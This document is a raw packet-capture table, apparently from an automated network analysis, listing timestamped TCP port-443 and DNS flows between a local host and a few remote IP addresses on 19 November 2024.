Nov 19, 2024 18:19:36.496850967 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496893883 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.496907949 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.497399092 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.497423887 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.497462988 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.497477055 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.497489929 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.498132944 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.498152018 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.498188019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.498197079 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.498209000 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.552320957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.586637974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586648941 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586678982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586723089 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.586726904 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586746931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586779118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586793900 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.586818933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586834908 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.586834908 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.586849928 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586867094 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.586913109 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.586921930 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.587145090 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.587153912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.587191105 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.587198973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.587227106 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.587538004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.587552071 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.587599993 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.587608099 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588093042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588114023 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588145971 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.588152885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588184118 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.588495016 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588509083 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588536978 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.588545084 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.588565111 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.589426041 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.589453936 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.589484930 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.589499950 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.589530945 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.630394936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677277088 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677309990 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677375078 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677376986 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677402973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677417040 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677440882 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677472115 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677618027 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677634954 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677670002 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677685976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.677700996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.677994967 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678014040 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678047895 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.678056002 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678080082 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.678397894 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678411961 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678452969 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.678462982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678720951 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678745031 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678775072 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.678787947 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.678805113 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.679120064 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.679133892 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.679186106 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.679197073 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.680146933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.680166006 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.680201054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.680210114 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.680223942 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.722337961 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.767791033 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.767824888 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.767875910 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.767908096 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.767927885 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.767927885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.767946959 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.767954111 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.767971039 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.767975092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.767999887 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768007040 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768038034 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768060923 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768368959 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768388033 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768424034 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768434048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768451929 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768486977 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768733025 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768754005 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768776894 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768783092 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.768806934 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768826008 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.768989086 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769011974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769030094 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769037962 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769062996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769082069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769401073 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769428015 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769448996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769460917 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769473076 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769490957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769777060 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769797087 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769821882 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769830942 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.769851923 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.769866943 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.770946026 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.770965099 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.771008968 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.771027088 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.771068096 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.772970915 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.858460903 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.858506918 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.858551025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.858587027 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.858619928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.858619928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.858689070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.858711958 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.858741045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.858747959 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.858767033 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.858781099 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.859014988 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.859036922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.859086990 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.859101057 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.859153986 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.859466076 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.859488964 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.859543085 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.859554052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.859591961 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.859591961 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.860007048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.860034943 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.860064983 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.860080004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.860095978 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.860130072 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.860630989 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.860660076 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.860683918 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.860693932 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.860728979 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.860749960 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.861290932 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.861314058 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.861346960 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.861357927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.861399889 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.861459017 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.861787081 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.861809969 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.861865044 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.861872911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.861910105 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.861921072 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.917768002 CET	53942	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:36.922703028 CET	53	53942	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:36.922775030 CET	53942	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:36.922812939 CET	53942	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:19:36.927656889 CET	53	53942	1.1.1.1	192.168.2.8
Nov 19, 2024 18:19:36.949151993 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949177980 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949250937 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949290991 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949331045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949331045 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949599028 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949616909 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949651957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949664116 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949682951 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949697018 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949832916 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949847937 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949882030 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949893951 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.949913025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.949923038 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.950145960 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.950160980 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.950197935 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.950210094 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.950226068 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.950243950 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.950661898 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.950691938 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.950715065 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.950731039 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.950747967 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.950766087 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.951385021 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.951400042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.951495886 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.951495886 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.951508045 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.951545000 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.951842070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.951864004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.951895952 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.951901913 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.951927900 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.951946020 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.952395916 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.952410936 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.952446938 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.952452898 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.952486992 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.952497005 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.039274931 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:37.039563894 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:37.039580107 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:37.039901972 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.039926052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.039968967 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.039992094 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040007114 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040030956 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040462017 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040482044 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040513992 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040520906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040543079 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040558100 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040625095 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:37.040644884 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040649891 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040687084 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:37.040720940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040729046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040759087 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.040950060 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040966034 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.040997028 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041003942 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.041018009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041039944 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041305065 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.041327000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.041362047 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041367054 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.041392088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041404009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041758060 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.041816950 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.041826010 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042267084 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:37.042330980 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:37.042467117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042484045 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042515039 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.042529106 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042545080 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.042663097 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042678118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042706966 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.042718887 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.042732954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.078825951 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.078850031 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.078897953 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.078934908 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.078952074 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.097322941 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:37.097341061 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:37.128586054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.130789995 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.130801916 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.130841017 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.130865097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.130878925 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.130904913 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.130939007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.130939007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.131643057 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.131664038 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.131700039 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.131719112 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.131762028 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.131767035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.131784916 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.131788969 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.131798983 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.131810904 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.131846905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132004976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132026911 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132061005 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132081032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132085085 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132159948 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132376909 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132395029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132426977 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132432938 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132458925 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132468939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.132972002 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.132987976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.133028030 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.133034945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.133065939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.133076906 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.133296013 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.133311987 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.133368969 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:37.133377075 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:37.133413076 CET	49730	443	192.168.2.8	188.114.96.3
